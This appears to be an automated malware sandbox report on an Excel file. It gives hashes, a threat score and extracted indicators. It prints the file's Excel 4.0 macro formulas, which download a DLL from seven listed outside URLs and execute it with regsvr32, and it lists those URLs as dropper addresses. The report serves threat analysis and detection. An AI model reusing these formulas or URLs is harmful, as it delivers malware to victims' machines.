4737df28e330a5e7a77110b02c1d90f060a9072704142d93eb14bb43c7aae7c1

General

Target

4737df28e330a5e7a77110b02c1d90f060a9072704142d93eb14bb43c7aae7c1
Size

20KB
Sample

241120-wh41hs1drl
MD5

2272673a9ab26a0bea6249d0407f7636
SHA1

94d423ae8101c679c3f721b1af8c08f488cfc24a
SHA256

4737df28e330a5e7a77110b02c1d90f060a9072704142d93eb14bb43c7aae7c1
SHA512

91e01f32be7a6e2ee14b538c6c16e6d3c564956ffc2e5edb44cb29fe55f6b674f1b4b4a4a6dec8d518e71c4f9541afe205b58da3395d36c797589a274f80908e
SSDEEP

384:G/Vb1GNjU5o4CGzPd6ZIw8R3Kb5CzgObff9kC+xbX7zJBq1:GtINAo4FLkCBn9kC+xbLzJy

Score

10^/10

Malware Config

Extracted

Rule

Excel 4.0 XLM Macro

C2

http://antaoco.com/wp-admin/5WaIjOuHnUj/

http://amakpost.com/assets/IaeePiSroWtpfZ8uURa/

http://anat-bar.co.il/cgi-bin/UNS6bRMcF4pOTf/

http://andrewpharma.com/wp-includes/WqgKtKrYJM/

http://amkltd.co.uk/amk/IPuhx/

http://gees.com.pl/geessw/2YmxITo6/

http://www.bridgeaustria.at/archive/V27DbIDKqIWeaAPMD/

Attributes

formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://antaoco.com/wp-admin/5WaIjOuHnUj/","..\kytk.dll",0,0) =IF('SCWVCV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://amakpost.com/assets/IaeePiSroWtpfZ8uURa/","..\kytk.dll",0,0)) =IF('SCWVCV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://anat-bar.co.il/cgi-bin/UNS6bRMcF4pOTf/","..\kytk.dll",0,0)) =IF('SCWVCV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://andrewpharma.com/wp-includes/WqgKtKrYJM/","..\kytk.dll",0,0)) =IF('SCWVCV'!D20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://amkltd.co.uk/amk/IPuhx/","..\kytk.dll",0,0)) =IF('SCWVCV'!D22<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://gees.com.pl/geessw/2YmxITo6/","..\kytk.dll",0,0)) =IF('SCWVCV'!D24<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.bridgeaustria.at/archive/V27DbIDKqIWeaAPMD/","..\kytk.dll",0,0)) =IF('SCWVCV'!D26<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\kytk.dll") =RETURN()

Extracted

Language

xlm4.0

Source

URLs

xlm40.dropper

http://antaoco.com/wp-admin/5WaIjOuHnUj/

xlm40.dropper

http://amakpost.com/assets/IaeePiSroWtpfZ8uURa/

xlm40.dropper

http://anat-bar.co.il/cgi-bin/UNS6bRMcF4pOTf/

xlm40.dropper

http://andrewpharma.com/wp-includes/WqgKtKrYJM/

xlm40.dropper

http://amkltd.co.uk/amk/IPuhx/

xlm40.dropper

http://gees.com.pl/geessw/2YmxITo6/

xlm40.dropper

http://www.bridgeaustria.at/archive/V27DbIDKqIWeaAPMD/

Extracted

Language

xlm4.0

Source

URLs

xlm40.dropper

http://antaoco.com/wp-admin/5WaIjOuHnUj/

xlm40.dropper

http://amakpost.com/assets/IaeePiSroWtpfZ8uURa/

xlm40.dropper

http://anat-bar.co.il/cgi-bin/UNS6bRMcF4pOTf/

xlm40.dropper

http://andrewpharma.com/wp-includes/WqgKtKrYJM/

xlm40.dropper

http://amkltd.co.uk/amk/IPuhx/

xlm40.dropper

http://gees.com.pl/geessw/2YmxITo6/

Targets

- Target
  
  4737df28e330a5e7a77110b02c1d90f060a9072704142d93eb14bb43c7aae7c1
- Size
  
  20KB
- MD5
  
  2272673a9ab26a0bea6249d0407f7636
- SHA1
  
  94d423ae8101c679c3f721b1af8c08f488cfc24a
- SHA256
  
  4737df28e330a5e7a77110b02c1d90f060a9072704142d93eb14bb43c7aae7c1
- SHA512
  
  91e01f32be7a6e2ee14b538c6c16e6d3c564956ffc2e5edb44cb29fe55f6b674f1b4b4a4a6dec8d518e71c4f9541afe205b58da3395d36c797589a274f80908e
- SSDEEP
  
  384:G/Vb1GNjU5o4CGzPd6ZIw8R3Kb5CzgObff9kC+xbX7zJBq1:GtINAo4FLkCBn9kC+xbLzJy
Score

10^/10

discovery
- Process spawned unexpected child process
  This typically indicates the parent process was compromised via an exploit or macro.
behavioral1 behavioral2